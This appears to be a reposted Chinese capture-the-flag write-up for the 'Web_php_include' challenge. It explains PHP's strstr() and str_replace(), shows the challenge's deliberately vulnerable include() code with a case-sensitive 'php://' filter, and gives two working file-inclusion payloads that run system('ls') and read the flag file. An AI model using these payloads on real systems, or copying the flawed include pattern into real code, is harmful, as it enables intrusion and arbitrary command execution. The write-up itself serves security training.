解决php文件包含的问题;Web_php_include-攻防世界
生活随笔
收集整理的這篇文章主要介紹了
解决php文件包含的问题;Web_php_include-攻防世界
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
了解些常用函數
1.strstr():
定義和用法:
strstr() 函數搜索字符串在另一字符串中是否存在,如果是,返回該字符串及剩余部分,否則返回 FALSE。
該函數是區分大小寫的所以存在漏洞, stristr() 函數不區分大小寫。
語法
strstr(string,search,before_search)
參數 描述
string 必需。規定被搜索的字符串。
search 必需。規定要搜索的字符串。如果該參數是數字,則搜索匹配該數字對應的 ASCII 值的字符。
before_search 可選。一個默認值為 “false” 的布爾值。如果設置為 “true”,它將返回 search 參數第一次出現之前的字符串部分。
.str_replace():
定義和用法:
str_replace() 函數替換字符串中的一些字符(區分大小寫)。
該函數必須遵循下列規則:
如果搜索的字符串是一個數組,那么它將返回一個數組。 如果搜索的字符串是一個數組,那么它將對數組中的每個元素進行查找和替換。 如果同時需要對某個數組進行查找和替換,并且需要執行替換的元素少于查找到的元素的數量,那么多余的元素將用空字符串進行替換。 如果是對一個數組進行查找,但只對一個字符串進行替換,那么替代字符串將對所有查找到的值起作用。該函數是區分大小寫的。 str_ireplace() 函數執行不區分大小寫的搜索。
<?php show_source(__FILE__); echo $_GET['hello']; $page=$_GET['page']; while (strstr($page, "php://")) { //判斷包含的文件是否有php://有的話返回true$page=str_replace("php://", "", $page); //將包含文件中的php://替換成空 } include($page); ?>題目給了這一串代碼,里面是包含一個文件的但是 程序過濾掉了page=參數傳入php://
默認頁面為http://127.0.0.1/index.php,設置為page值,可確保while為真
payload 為
/?page=http://127.0.0.1/index.php/?hello=<?system("ls");?> /?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>總結
以上是生活随笔為你收集整理的解决php文件包含的问题;Web_php_include-攻防世界的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTF-Web-常用伪协议用法:
- 下一篇: python base64库介绍